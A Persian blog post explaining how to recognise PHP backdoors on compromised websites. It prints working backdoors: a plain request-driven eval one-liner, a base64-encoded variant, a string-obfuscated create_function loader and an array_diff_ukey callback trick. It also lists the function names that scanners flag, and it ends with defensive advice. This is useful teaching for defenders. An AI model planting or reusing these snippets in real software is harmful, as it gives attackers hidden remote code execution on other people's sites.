چند وقته که در کنار کتاب و مقاله هایی که می خونم و کارهایی که می کنم، علاقه زیادی به آنالیز کدهای مخرب پیدا کردم. یکی از این علاقه ها، شناسایی درهای پشتی در کدهای PHP است. در ادامه اشاره کوتاهی خواهم کرد به نشونه هایی که می تونه منجر به شناسایی کدهای مخرب بشه و البته روش های بدافزارنویس ها برای دور موندن از چشم کارشناس های امنیتی.
backdoor یا درپشتی در واقع یک تکه کده که به هکر امکان دسترسی مجدد به سایت هک شده رو می ده حتی اگه ادمین تموم پسوردها رو تغییر بده. این تکه کد می تونه ۱۰۰خط باشه یا یکی دو خط. یکی از ابتدایی ترین شیوه ها گذاشتن یک درپشتی واضح و سر راسته:
1 | $_REQUEST[e] ? eval( $_REQUEST[e] ) : exit; |
این یک خط کد می تونه در یک فایل PHP جدید گذاشته بشه و یا به راحتی در یکی از چندین فایل قالب سایت اضافه بشه و از چشم ادمین دور بمونه. البته افزونه ها و یا نرم افزارهای امنیتی با چک کردن کل فایل های سایت و استفاده از پترن های شناخته شده این درهای پشتی رو خیلی زود پیدا می کنند. افزونه ها معمولا دنبال این توابع می گردن:
1 2 3 4 5 | system eval preg_replace create_function assert |
به دلیل پیشرفته تر شدن کارشناسان امنیتی و نرم افزارهاشون، هکرها هم به سمت آموزش و استفاده از روش های جدیدتر رفتن. روش هایی که بعضی مواقع زمان زیادی رو از کارشناسان امنیتی می گیره تا بتونن کشفش کنن. مثلا با استفاده از یک سری توابع PHP کدشون رو ناخوانا می کنند. کد زیر در واقع همون درپشنی در مثال قبله با این تفاوت که کل کد با متد base64 رمز شده.
1 | base64_decode(JF9SRVFVRVNUW2VdID8gZXZhbCgmbmJzcDsgJF9SRVFVRVNUW2VdICkgOiBleGl0Ow==) |
در این روش هسته PHP ابتدا با دستور base64_decode این کاراکترهای به هم ریخته رو به کد اصلی برمی گردونه و سپس اجراش می کنه. این روش نیز به راحتی قابل پیدا کردنه. کافیه توی تموم کدهای سایتمون دنبال یک استرینگ رمز شده بگردیم و بعد ببینیم چکار می کنه.
روش دیگه ناخوانا کردن یک در پشتی می تونه مثال زیر باشه. این روش هم هرچند قابل پیدا شدنه اما با کمی خلاقیت می شه اون رو از چشم افزونه های امنیتی دور کرد و یا حداقل کاری که می کنه رو مخفی کرد:
1 2 3 4 5 6 7 8 | $mzxp="rfgPfgSczNCc7ZWNobfgyAfgnPfgCcuJGsuJz4nOfg2V2fgYWwoYmFzZTY0X2RlY29kZfgShwcmVfgnX3J"; $leyc="JGM9J2NvdW50JzskYT0kX0NPT0tJfgRTtpZihyZXNldfgCfggkYSk9PSfgcfgxMicgJiYgJGMoJGEpfgPjMfgpeyR"; $dqhx="ksfgIGpvfgaW4oYXJyYXlfc2fgxpY2UoJGEsJGMoJGEpLTMpKSfgkpKTtlY2hvfgIfgCc8LycuJGsuJz4nO30="; $ohrb="lcGfgxhY2UoYXJyYXfgkofgJy9bXlx3PVxzXS8fgnLCcvXHMvJfgyksfgIGfgFycmF5KCcnLCcrJy"; $xgny = str_replace("tk","","stkttkrtk_tkrtketkptkltkatkctke"); $qwxk = $xgny("u", "", "ubausueu64_udueucoude"); $pkyt = $xgny("z","","czrzeaztzez_zfzuznzctzizozn"); $zdhk = $pkyt('', $qwxk($xgny("fg", "", $leyc.$mzxp.$ohrb.$dqhx))); $zdhk(); |
همونطور که در کد بالا می بینید حتی اسامی توابع نیز رمز شده و به اون هم اکتفا نشده و با جایگذاری کاراکترهای رندوم در بین استرینگ به دست اومده، اون رو هم ناخواناتر کرده. زمان اجرا ابتدا PHP کاراکترهای جایگذاری شده رو حذف می کنه و بعد نتیجه را رمزگشایی می کنه و کد اجرا می شه.
نمونه های زیادی وجود داره که می شه مثال زد و بررسی که چکار می کنه اما در پایان می خوام اشاره ای بکنم به نمونه ای که یکی از سایت های فعال در بحث امنیت اون رو پیدا کرده و خب قاعدتا به زودی پترن های استفاده و کشفش در افزونه های امنیتی اضافه می شه.
در این نمونه نویسنده درپشتی، از فراخوانی توابع در تابع های عادی PHP استفاده کرده:
1 | @array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); |
کاری که array_diff_ukey می کنه اینه که دوتا آرایه رو بر اساس کلید ها مقایسه می کنه و تفاوت ها رو بر می گردونه. یه گزینه دیگه هم داره که می تونه یک تابع دیگه رو فرابخونه و این تفاوت های پیدا شده رو به اون بده و اون تابع رو اجرا کنه. مثلا تصویر زیر می تونه جمله All your data belong to me! رو در خروجی نشون بده
در کد اصلی سه متغیر از کاربر گرفته می شه که تفاوت دو تا به عنوان ورودی تابع عمل خواهد کرد و خود تابع نیز از طریق متغیر سوم مشخص می شه.
می بینید که هیچ نکته غیر عادی در کد وجود نداره. ضمن اینکه این شیوه محدود به تابع array_diff_ukey نیست و با همین شیوه می شه از همه توابعی که تابع دیگه ای رو فراخوانی می کنن، استفاده کرد. باید پترنی رو پیدا کرد که تشخیص خودکار این روش رو ممکن کنه.
در پایان باید بگم:
اگر تجربه هک شدن سایتتون رو دارید حتما کار پاک سازی رو به یک کاردان بسپرید و به تغییر پسوردها بسنده نکنید هرچند که تغییر پسورد قدم اوله.
اگر از CMS هایی مثل وردپرس و جوملا استفاده می کنید حتما افزونه های امنیتی رو به کار ببرید.
هرگز از قالب و افزونه هایی که منتشر کننده ناشناس یا غیرمعتبر داره استفاده نکنید و یا اونها رو از سایت های متفرقه دانلود نکنید. همونطور که دیدید فقط یک خط در یکی از فایل هایی که روی سرور میذارید می تونه منجر به هک بشه.